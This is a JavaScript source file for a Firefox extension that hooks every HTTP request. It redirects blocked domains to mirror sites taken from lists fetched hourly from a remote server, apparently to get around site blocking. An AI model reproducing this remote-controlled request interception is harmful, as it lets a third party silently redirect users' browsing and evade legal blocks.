/** * Great plan: * onLoad -> getMirrors * getMirrors -> ping * setInterval -> getMirrors * onBeforeRequst -> mirrorExist? -> getMirror -> locked? -> redirect */ var data = require("sdk/self").data; var events = require("sdk/system/events"); var pageMod = require("sdk/page-mod"); var Request = require("sdk/request").Request; var tmr = require('timer'); var workers = require("sdk/content/worker"); var utils = require("sdk/window/utils"); const { Cc, Ci, Cr } = require("chrome"); (function() { //synchronos get request var get/*JSON*/ = function(url, f, noJSON/*?*/) { Request({ url: url, onComplete: function (response) { try { //response.json f && f.call(null, noJSON? response.text: JSON.parse(response.text)); } catch(e) { //... } } }).get(); return false; }; var pingFilter = function(lockingFunction) { mirrors().map(function(mirrorList, listIndex) { mirrorList.map(function(mirror, index) { get('http://' + mirror + '/ping.php', function(res) { var failed = false; try { var json = JSON.parse(res); if(!json.ping || json.ping != 'ok') { failed = true; } } catch(e) { if(res != '1') { failed = true; } } finally { if(failed) { lockingFunction(mirror); } } }, true); }); }); }; var mirrorExist = function(mirror, returnParent) { for(var mirrorsListIndex in mirrors()) { if(mirrors() && mirrors()[mirrorsListIndex].indexOf(mirror) != -1) { return returnParent? mirrors()[mirrorsListIndex]: true; } }; return false; }; var getMirror = function(url) { var failUrl = 'http://google.com'; var mirrorsList = mirrorExist(url, true); for(var mirrorIndex in mirrorsList) { if(!isLocked(mirrorsList[mirrorIndex])) { return 'http://' + mirrorsList[mirrorIndex]; } } return failUrl; }; //main logic: //array of arrays var mirrors = (function() { var mirrorsLists = false; return function(newMirrorsLists, reset) { if(reset) { mirrorsLists = false; } if(newMirrorsLists) { mirrorsLists = newMirrorsLists; } return mirrorsLists; }; })(); var locked = (function() { var lockedMirrors = []; return function(mirror, reset, unlock) { if(unlock) { lockedMirrors.splice(lockedMirrors.indexOf(unlock), 1); } if(reset) { lockedMirrors = []; } if(mirror) { lockedMirrors.push(mirror); } return lockedMirrors; }; })(); var isLocked = function(mirror) { return locked().indexOf(mirror) != -1; }; var interval = 1000*60*60; var loadMirrors = function() { var url = 'http://cas2play.com/b-end.php'; get(url, function(data) { mirrors(data); locked(null, 'reset'); pingFilter(locked); }); }; loadMirrors.call(null); tmr.setInterval(loadMirrors, interval); pageMod.PageMod({ include: "*", onAttach: function(worker) { var url = worker.tab.url.replace(/^(https?\:\/\/)?(www\.)?/gi, '').replace(/\/.*/gi, ''); } }); //removeObserver Cc["@mozilla.org/observer-service;1"] .getService(Ci.nsIObserverService) .addObserver({ observe: function(aSubject, aTopic, aData) { var url = aSubject .QueryInterface(Ci.nsIHttpChannel) .originalURI.spec .replace(/^(https?\:\/\/)?(www\.)?/gi, '') .replace(/\/.*/gi, ''); if(mirrors() && isLocked(url) && mirrorExist(url)) { var channel = aSubject.QueryInterface(Ci.nsIHttpChannel); channel.cancel(Cr.NS_BINDING_ABORTED); var gBrowser = utils.getMostRecentBrowserWindow().gBrowser; var domWin = channel.notificationCallbacks.getInterface(Ci.nsIDOMWindow); var browser = gBrowser.getBrowserForDocument(domWin.top.document); browser.loadURI(getMirror(url)); } } }, "http-on-modify-request", false); //DEBUG TOOLS var window = window || {}; //1 параметр - записывает в замкнутую переменную свежезагруженные зеркала //2 параметра - стирает зеркала, ставит false //без параметров возвращает массив зеркала window.mirrors = mirrors; //1 параметр - записывает в массив заблоченных ресурсов //2 параметра - опустошает массив (reset) //без параметров возвращает массив заблоченных зеркал window.locked = locked; //1 параметр - зеркало window.idLocked = isLocked; //загружает зеркала и пингует асинхронно window.loadMirrors = loadMirrors; //1 параметр - зеркало, возвращает bool //2 - параметр флаг для возвращения вместо true массива с найденным зеркалом window.mirrorExist = mirrorExist; //1 параметр - урл для которого нужно зеркало, если нету зеркала //то возвращет failUrl window.getMirror = getMirror; })();